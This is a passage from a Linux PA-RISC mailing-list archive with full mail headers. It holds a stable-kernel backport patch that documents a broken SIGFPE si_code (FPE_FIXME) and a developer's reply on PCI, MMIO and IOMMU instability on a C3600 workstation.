 arch/parisc/include/uapi/asm/siginfo.h | 7 +++++++
 arch/parisc/kernel/traps.c             | 2 +-
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/u=
api/asm/siginfo.h
index 4a1062e05aaf..be40331f757d 100644
--- a/arch/parisc/include/uapi/asm/siginfo.h
+++ b/arch/parisc/include/uapi/asm/siginfo.h
@@ -8,4 +8,11 @@
=20
 #include <asm-generic/siginfo.h>
=20
+/*
+ * SIGFPE si_codes
+ */
+#ifdef __KERNEL__
+#define FPE_FIXME	0	/* Broken dup of SI_USER */
+#endif /* __KERNEL__ */
+
 #endif
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8453724b8009..c919e6c0a687 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -629,7 +629,7 @@ void notrace handle_interruption(int code, struct pt_re=
gs *regs)
 			si.si_signo =3D SIGFPE;
 			/* Set to zero, and let the userspace app figure it out from
 			   the insn pointed to by si_addr */
-			si.si_code =3D 0;
+			si.si_code =3D FPE_FIXME;
 			si.si_addr =3D (void __user *) regs->iaoq[0];
 			force_sig_info(SIGFPE, &si, current);
 			return;
--=20
2.14.1


From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sasha Levin <Alexander.Levin@microsoft.com>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH AUTOSEL for 4.9 277/281] signal/parisc: Document a conflict
 with SI_USER with SIGFPE
Date: Mon, 19 Mar 2018 16:03:23 +0000
Lines: 76
Approved: news@gmane.org
Message-ID: <20180319155742.13731-277-alexander.levin@microsoft.com>
References: <20180319155742.13731-1-alexander.levin@microsoft.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521481012 8227 195.159.176.226 (19 Mar 2018 17:36:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 17:36:52 +0000 (UTC)
Cc: "Eric W. Biederman" <ebiederm@xmission.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
        Sasha Levin <Alexander.Levin@microsoft.com>
To: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "stable@vger.kernel.org" <stable@vger.kernel.org>
Original-X-From: stable-owner@vger.kernel.org Mon Mar 19 18:36:47 2018
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1exyiE-00022C-Qc
	for glks-stable4@m.gmane.org; Mon, 19 Mar 2018 18:36:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S966002AbeCSRiv (ORCPT <rfc822;glks-stable4@m.gmane.org>);
        Mon, 19 Mar 2018 13:38:51 -0400
Original-Received: from mail-sn1nam02on0103.outbound.protection.outlook.com ([104.47.36.103]:60917
        "EHLO NAM02-SN1-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S965964AbeCSQGl (ORCPT <rfc822;stable@vger.kernel.org>);
        Mon, 19 Mar 2018 12:06:41 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=uU+FQ5QakxWZTiLJBULLAM4NJdOJXNABoI9VEZyPLa0=;
 b=cl4DncyIq6vFUK7R4oqZgqhDLBQEeXkDnQBt8ju8r3FIFJFVFftLvpUTo0/zauKclHoXVO6hCLc6BXzmdOJt+pBW/N1WwwTte6EUctaoKvAv8KOYTtjEg6EMjZTcLW0VzAcSG6GUqZ9mPliihIq2C21kiwL/pj1H+eM12tU8vOs=
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com (52.132.128.13) by
 DM5PR2101MB0728.namprd21.prod.outlook.com (10.167.110.153) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.631.0; Mon, 19 Mar 2018 16:06:36 +0000
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62]) by DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62%5]) with mapi id 15.20.0631.004; Mon, 19 Mar 2018
 16:06:36 +0000
Thread-Topic: [PATCH AUTOSEL for 4.9 277/281] signal/parisc: Document a
 conflict with SI_USER with SIGFPE
Thread-Index: AQHTv5vOFxYanGBkD0Sqyh/xG5YjMw==
In-Reply-To: <20180319155742.13731-1-alexander.levin@microsoft.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [52.168.54.252]
x-ms-publictraffictype: Email
x-microsoft-exchange-diagnostics: 1;DM5PR2101MB0728;7:+IT1WUFk1te+fKgwwRMwqqke79KEx/KQZ2Epjjl2iQpWqLoTPWP/JDdfLSuhgMn/inYRX+fD5sRLSVCGEovzoor7C/4kvjCPIu1YYHmKzB+hqKBQWgzrwJvHzS08ORx89lDxRg+6qO3dm7AjTpyLVH2h5wTIoryT3U/rjIkSSMyXt8oJGXcEfkIN+jxOIKEaM1Zn6lisZi5vvmOKD+jxh5+cF34ejnnUby0p9p4FxikplOi0gpW2NwS2DmGKxpFy;20:vU/rpYX/8097UeodEvwfLjtynLo+hGI5OdyScT7Qn2loRoimhBOA9ACNRe/USXg9MYuB8BN2E4VluQC//YCbDcfee6K8iBUKvDCzIMxRYW6ZTFEFfV/H+Cgf24y3xeRW/vczvIMrw33Q6qf3YSZ96pI+IZWIsZoZ4dU8LtrYUN8=
x-ms-office365-filtering-ht: Tenant
x-ms-office365-filtering-correlation-id: 3ab1836b-1300-47b8-1f0e-08d58db36449
x-microsoft-antispam: UriScan:;BCL:0;PCL:0;RULEID:(7020095)(4652020)(48565401081)(5600026)(4604075)(3008032)(4534165)(4627221)(201703031133081)(201702281549075)(2017052603328)(7193020);SRVR:DM5PR2101MB0728;
x-ms-traffictypediagnostic: DM5PR2101MB0728:
authentication-results: spf=none (sender IP is )
 smtp.mailfrom=Alexander.Levin@microsoft.com; 
x-microsoft-antispam-prvs: <DM5PR2101MB0728022AC4248AAC0C47D495FBD40@DM5PR2101MB0728.namprd21.prod.outlook.com>
x-exchange-antispam-report-test: UriScan:(28532068793085)(26323138287068)(89211679590171)(9452136761055)(84791874153150);
x-exchange-antispam-report-cfa-test: BCL:0;PCL:0;RULEID:(8211001083)(61425038)(6040522)(2401047)(5005006)(8121501046)(3231221)(944501300)(52105095)(3002001)(93006095)(93001095)(10201501046)(6055026)(61426038)(61427038)(6041310)(201703131423095)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123560045)(20161123562045)(20161123564045)(20161123558120)(6072148)(201708071742011);SRVR:DM5PR2101MB0728;BCL:0;PCL:0;RULEID:;SRVR:DM5PR2101MB0728;
x-forefront-prvs: 06167FAD59
x-forefront-antispam-report: SFV:NSPM;SFS:(10019020)(366004)(39380400002)(346002)(376002)(39860400002)(396003)(199004)(189003)(8936002)(99286004)(478600001)(53936002)(107886003)(966005)(110136005)(86612001)(72206003)(97736004)(76176011)(316002)(3280700002)(5250100002)(2501003)(36756003)(2906002)(105586002)(1076002)(86362001)(14454004)(6436002)(54906003)(8666007)(6512007)(6116002)(6486002)(6306002)(106356001)(3846002)(22452003)(3660700001)(186003)(59450400001)(68736007)(66066001)(25786009)(102836004)(4326008)(10290500003)(26005)(6666003)(305945005)(2950100002)(7736002)(10090500001)(81156014)(81166006)(8676002)(6506007)(5660300001)(2900100001)(22906009)(217873001);DIR:OUT;SFP:1102;SCL:1;SRVR:DM5PR2101MB0728;H:DM5PR2101MB1032.namprd21.prod.outlook.com;FPR:;SPF:None;LANG:en;PTR:InfoNoRecords;A
 :1;MX:1;
received-spf: None (protection.outlook.com: microsoft.com does not designate
 permitted sender hosts)
x-microsoft-antispam-message-info: SW2A2b8FEXY7NVtKvihgVLTCmHaHqG90nRRH1bpLCn0SqyEsCOnfrSUozxmeenzdpUuqzFvL7JONr09Qt5qPnXtwOBWunfUasl+vRIsyX3FMr0KxuQ3YNgu3vF25QFOCjHVtUsTrZYkVVAJIoqogo2XtxU8flDDmbA2MLckTbRzp8NfJlNavvzX6tOQHQs37tzCM6Bz9GE06LifRmvTo+cdEaLBscDOkVlrlCNBRqIWe742hAde/Pme1k8gQs5gQ2i+bSJedyLDtWOyTp3KPhKYq3aVia8B5wJhdNiRSAEZsHopYKVcfNFYN1uiowrYH54ehHUdVQSMuFnkb6YZcXQ==
spamdiagnosticoutput: 1:99
spamdiagnosticmetadata: NSPM
X-OriginatorOrg: microsoft.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 3ab1836b-1300-47b8-1f0e-08d58db36449
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Mar 2018 16:03:23.7694
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 72f988bf-86f1-41af-91ab-2d7cd011db47
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM5PR2101MB0728
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:271135 gmane.linux.kernel:2718795 gmane.linux.ports.parisc:28346
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/271135>

From: "Eric W. Biederman" <ebiederm@xmission.com>

[ Upstream commit b5daf2b9d1c9a2b4f03ca93f75913ba2da3b3eaa ]

Setting si_code to 0 results in a userspace seeing an si_code of 0.
This is the same si_code as SI_USER.  Posix and common sense requires
that SI_USER not be a signal specific si_code.  As such this use of 0
for the si_code is a pretty horribly broken ABI.

Further use of si_code =3D=3D 0 guaranteed that copy_siginfo_to_user saw a
value of __SI_KILL and now sees a value of SIL_KILL with the result
that uid and pid fields are copied and which might copying the si_addr
field by accident but certainly not by design.  Making this a very
flakey implementation.

Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
appropriate fields will reliably be copied.

This bug is 13 years old and parsic machines are no longer being built
so I don't know if it possible or worth fixing it.  But it is at least
worth documenting this so other architectures don't make the same
mistake.

Possible ABI fixes includee:
  - Send the signal without siginfo
  - Don't generate a signal
  - Possibly assign and use an appropriate si_code
  - Don't handle cases which can't happen

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Ref: 313c01d3e3fd ("[PATCH] PA-RISC update for 2.6.0")
Histroy Tree: https://git.kernel.org/pub/scm/linux/kernel/git/tglx/history.=
git
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Sasha Levin <alexander.levin@microsoft.com>
---
 arch/parisc/include/uapi/asm/siginfo.h | 7 +++++++
 arch/parisc/kernel/traps.c             | 2 +-
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/u=
api/asm/siginfo.h
index 8fd10f85c50e..882a8775441f 100644
--- a/arch/parisc/include/uapi/asm/siginfo.h
+++ b/arch/parisc/include/uapi/asm/siginfo.h
@@ -7,4 +7,11 @@
=20
 #include <asm-generic/siginfo.h>
=20
+/*
+ * SIGFPE si_codes
+ */
+#ifdef __KERNEL__
+#define FPE_FIXME	0	/* Broken dup of SI_USER */
+#endif /* __KERNEL__ */
+
 #endif
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 378df9207406..3172cb52f703 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -627,7 +627,7 @@ void notrace handle_interruption(int code, struct pt_re=
gs *regs)
 			si.si_signo =3D SIGFPE;
 			/* Set to zero, and let the userspace app figure it out from
 			   the insn pointed to by si_addr */
-			si.si_code =3D 0;
+			si.si_code =3D FPE_FIXME;
 			si.si_addr =3D (void __user *) regs->iaoq[0];
 			force_sig_info(SIGFPE, &si, current);
 			return;
--=20
2.14.1


From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Mon, 19 Mar 2018 20:30:24 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <CAP6odjj4DTSox4K9318OT2nMqvhSw3Fhz6DY+iYduvfj6m6W2w@mail.gmail.com>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box> <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
 <b2fd86ec-a83a-5133-fa66-29229595851c@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1521488771 18604 195.159.176.226 (19 Mar 2018 19:46:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 19:46:11 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Carlo Pisani <carlojpisani@gmail.com>, debian-hppa@lists.debian.org, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Mar 19 20:46:07 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ey0jO-0004gI-En
	for debian-hppa@m.gmane.org; Mon, 19 Mar 2018 20:46:06 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 82E72161; Mon, 19 Mar 2018 19:48:12 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Mon Mar 19 19:48:12 2018
Old-Return-Path: <grantgrundler@gmail.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id E4F815B
	for <lists-debian-hppa@bendel.debian.org>; Mon, 19 Mar 2018 19:30:40 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-2.699 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id FvO1muJw1OTu for <lists-debian-hppa@bendel.debian.org>;
	Mon, 19 Mar 2018 19:30:30 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-lf0-x22b.google.com (mail-lf0-x22b.google.com [IPv6:2a00:1450:4010:c07::22b])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 3E9E2B4
	for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 19:30:29 +0000 (UTC)
Original-Received: by mail-lf0-x22b.google.com with SMTP id h127-v6so27172031lfg.12
        for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 12:30:29 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=z+gqjPrtHSJB8ApWQZNTPjgIWO7drkIzIaH10CFiVGw=;
        b=JQnfeUMWbLtLCiX2QiCP1iFE2Xz5QHvXfA7tRdufPNIfrg+by/Oqpj5CEMEuobH4sm
         Hwvx76ANnUbiOJyM6ERCN431p4U9B4bIJxf/AX9leiUG7v9Wdo1nGq8L0Vup78BUG7rT
         kL5MFZruade1K7Tc5FztIzjcLeVtyRJSYBwxP7yr0dnOL9vtJ2+3sU6ETabwNIcVFOf1
         RpcjhvJEY8vzvLxgnd9/SGpjpYPM3rdIFrGylxGonvVwSo5sbV24bMJX/Qb4DD6H4hKY
         iVeoc16nZTVtAUBZYTxekYqVFCJoCZ9E0JPKkG9U2y7wP6Y8fdVYVjV8sHRrQ9O16s/p
         2Efg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=z+gqjPrtHSJB8ApWQZNTPjgIWO7drkIzIaH10CFiVGw=;
        b=fQApSC+Go5wU8UwQF8ZNKCAPVaIyD/cfFthrB8xvUzLbAFPinstVGD7thc6SGy6k1k
         ebaxByO5jmy/0rVzyXsSNI5ciErWlw83bHStaSkjm5JWultKtN8aW2wYUuCLm44gi4Pe
         Vrf6C6BWCm+vvPVR+4LHNB3R+JouaKgZnrjW0wEB33LbxIYAZWDe2TBDKycB/iHmIRbr
         MOZtDjrQ0q51expewrKqe/Tbu8cJSWAX2Hsm+utrSjUREPGsyWZ5CJyAKVRySZ8OjxO7
         8U+0TpFEOTTq0DYxLRaMz6GLxlG/+IKZgVs1qSEU91HYQi6b6hzkSa0EL1FfHEZL4+Bi
         BnWQ==
X-Gm-Message-State: AElRT7HAUKwSmDrSk0rtuznY1eRSsnVVN0GptJfPJTSoswDF+ILZAdPF
	/erNi6QQ+8xUBzjKvPqMkPtx/0Vft1hZTbMjWqo=
X-Google-Smtp-Source: AG47ELtheh2rpEat9m+4wSuaNIgx0/dHSdE0+D7+6mOIBUmw24xOJTASqsXg+IkaACPHcZIMwpVvae6mYijWlH7dOmw=
X-Received: by 2002:a19:cbd5:: with SMTP id b204-v6mr9230789lfg.116.1521487824928;
 Mon, 19 Mar 2018 12:30:24 -0700 (PDT)
Original-Received: by 2002:a19:1b8f:0:0:0:0:0 with HTTP; Mon, 19 Mar 2018 12:30:24
 -0700 (PDT)
In-Reply-To: <b2fd86ec-a83a-5133-fa66-29229595851c@bell.net>
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <O9OTjeipRsN.A.RF.8PBsaB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8683
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/CAP6odjj4DTSox4K9318OT2nMqvhSw3Fhz6DY+iYduvfj6m6W2w@mail.gmail.com
Resent-Date: Mon, 19 Mar 2018 19:48:12 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7699 gmane.linux.ports.parisc:28347
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7699>

Hi John!

On Sat, Mar 17, 2018 at 6:47 PM, John David Anglin <dave.anglin@bell.net> wrote:
> Hi Grant,
>
> On 2018-03-17 12:12 PM, Grant Grundler wrote:
>>
>> "Master Abort" means the MMIO
>> transaction timed out - usually due to the device not responding to an
>> MMIO read.
>
> In lba_pci.c and sba_iommu.c, it says "BE WARNED: register writes are
> posted" and need to be followed by a read.  It seems there are a some
> routines in these modules that have writes that aren't followed by a read.
> One is lba_wr_cfg(). Another might be the macro
> LBA_CFG_RESTORE().  Are these okay?

I looked through the two examples you point out and I *think* both are
ok.   lba_wr_cfg() issues an mmio write and immediately after calls
LBA_CFG_MASTER_ABORT_CHECK() which performs an MMIO read from the same
base address.

The LBA_CFG_RESTORE() is "lazy" - the next MMIO read will flush those
three writes and (I believe) any following MMIO writes will still be
issued in order.

Typically, the problem with posted MMIO writes is DMA or other events
don't start until the MMIO write is "seen" by the device. This is
important when specific timing between MMIO transactions is required
OR some magic (e.g. device reset, updates Frame Buffer, etc) happens.

> It seems probable that the problem that Carlo is having is a conflict
> between devices.

Hrm. I don't know. I haven't yet looked at the latest dump that Carlo
helpfully provided as I'm still traveling. Why do you suspect this?

I'm skeptical about "conflict between devices" (due to lba_wr_cfg())
for two reasons:
1) configuration space accesses are usually not part of normal IO
device transaction processing.
2) I've nearly always found that PCI Master Aborts (on MMIO reads) are
usually just a symptom of something else going wrong and not the root
cause.

Typically, the issues I recall running into are around the drivers
hitting a corner case where the device is still performing DMA to an
address that gets unmapped by the driver.  This will wedge the IOMMU
(sba) and then following MMIO reads will generate an HPMC.

The hard part is to determine what the corner case is based on a DMA
address (as reported in SER PIM output). It requires deeper
understanding of the DMA programming for the given SATA controller
(driver directing HW what to do), how transaction completions are
reported (SATA controller HW) and handled (driver operation).

In the past, I've sorted several of these issues out for tg3 and tulip
NIC drivers and I can with confidence say that some issues still
remain in the tulip driver shutdown path. But I gave up on trying to
fix those and lost interest later.

cheers,
grant



From - Thu Nov 08 21:41:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: kernel 4.15.7/64bit, C3600 is unstable during heavy I/O on PCI
Date: Mon, 19 Mar 2018 20:37:49 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <CAP6odjhfy0qwH5p_VyNLBw8w9mc_wsWFpR=RH2daJocW6Cn+vA@mail.gmail.com>
References: <CA+QBN9DxM5PYCnPJCRtgxQ8xGk75=jAtsE+VibUfFOv+Yah6Og@mail.gmail.com>
 <CA+QBN9D9vUA7Q=Sd=moi+bSAkQjGQ6nGa8wnb1=7qHudAY8L8g@mail.gmail.com>
 <20180317113655.GA30572@ls3530.fritz.box> <CAP6odjhTVFkFP0kzCjvpJZ81iwA+cxLNFB7AxK+hZfy_cKxjvw@mail.gmail.com>
 <CA+QBN9Bd69whK14_0jT0m=5F4i2FxNPyEbMv3mgUsox9pX3fKA@mail.gmail.com>
 <CAP6odjhVVjutLY73QeCq+vjvUE1StmTBB50s_m5SN1Ad7OBD5Q@mail.gmail.com> <CA+QBN9A_0x6_0Ayo6YtkdC=j1ssa9mD7NTzU5+Jie0dYabp3bQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1521489130 12512 195.159.176.226 (19 Mar 2018 19:52:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Mar 2018 19:52:10 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, linux-parisc <linux-parisc@vger.kernel.org>
To: Carlo Pisani <carlojpisani@gmail.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Mar 19 20:52:05 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1ey0pB-0003BB-Dv
	for debian-hppa@m.gmane.org; Mon, 19 Mar 2018 20:52:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 3BE82141; Mon, 19 Mar 2018 19:54:12 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Mon Mar 19 19:54:12 2018
Old-Return-Path: <grantgrundler@gmail.com>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 8B2AEB9
	for <lists-debian-hppa@bendel.debian.org>; Mon, 19 Mar 2018 19:37:59 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-0.399 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FOURLA=0.1, FREEMAIL_FROM=0.001,
	NORMAL_HTTP_TO_IP=2.3, RCVD_IN_DNSWL_LOW=-0.7]
	autolearn=no autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id LaE0oxsSlYex for <lists-debian-hppa@bendel.debian.org>;
	Mon, 19 Mar 2018 19:37:53 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-lf0-x235.google.com (mail-lf0-x235.google.com [IPv6:2a00:1450:4010:c07::235])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 7699EB4
	for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 19:37:53 +0000 (UTC)
Original-Received: by mail-lf0-x235.google.com with SMTP id j68-v6so6629463lfg.13
        for <debian-hppa@lists.debian.org>; Mon, 19 Mar 2018 12:37:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=H++VJdDCO7hcn4jc04BOBvII9cwyULUkbG6STQfdkso=;
        b=GmaQktamCxQuw2Lhn9Fzntjllda9LQULcclU/HWXAFvJ/esvoLkRH21HmBMYtYSYqy
         Xbz5/pr/45RaoykGpQ1mPrMUNFHvid7/B7jcU8JmePqSzZxpPoRIzIkE1DQfgGfGo0Ei
         Pk9TU2/7dROkCHsON0VnyM6IF1gzOqbB0VEgtPiG7jBOUkR6TNnHPkXCaGkCIujRsmdD
         W3er8STLTfzOJ70PS8C7iOgk37am8hoWuf5MqQvYFT42OYnpfyuYfZHwFr2nujURW6/6
         ZMLxz35odxUxW1SRL4gNrL73ESeSgnlc+N9OVRgxTxB0z9VNCvXKgu2o4HskAchyJQUv
         DlsA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=H++VJdDCO7hcn4jc04BOBvII9cwyULUkbG6STQfdkso=;
        b=b/GjTru6Jrg00hLXjx84UFfT++vlR1MM5TKkVRu9uJrfBut1MsIEPIfmD8f9zJQvFw
         4ys0DN+uAvPOHEO5/x/3I338cda8a7mWfWM4G8L5Gb+9EswUluJ8oM+0H+roXXBvd/FM
         0faXRjItZ7Jz2uS0Y/nQ7uIJf6lMfCvdGlXnPY+APjcgiiOLNbnDGvuQhTEX3Gb6RSWp
         Ap/Pwis/+0ixKQJj0f+X6QpBFITdE3EEwV2tNdwh+RMlJwreowWoNaQ7uRt4MoPYkXIK
         xbX1NDLI7PPMixfiEzWmRSFeSIDgnFzHtJ5bzYw0Vbyq1hMYNuK4AfrIt2vnpEqTrLjZ
         pG8Q==
X-Gm-Message-State: AElRT7GhtEkGaq+ycIWGGho6uswM/AFpHfp15hOp8XYV/haZe7O3xr53
	nUM3p3CUMmuyiPGSImn8XQxfcX8QiNKMJxge4BM=
X-Google-Smtp-Source: AG47ELuXAV2ArzmYNLlG0n9lY8HxXasW1LGPVJKeovuQJ2rLJaaug4UcU7u1xrWGzBMWfv4aPZVXvYknpLrLvtB/O3E=
X-Received: by 2002:a19:960e:: with SMTP id y14-v6mr9418402lfd.43.1521488270364;
 Mon, 19 Mar 2018 12:37:50 -0700 (PDT)
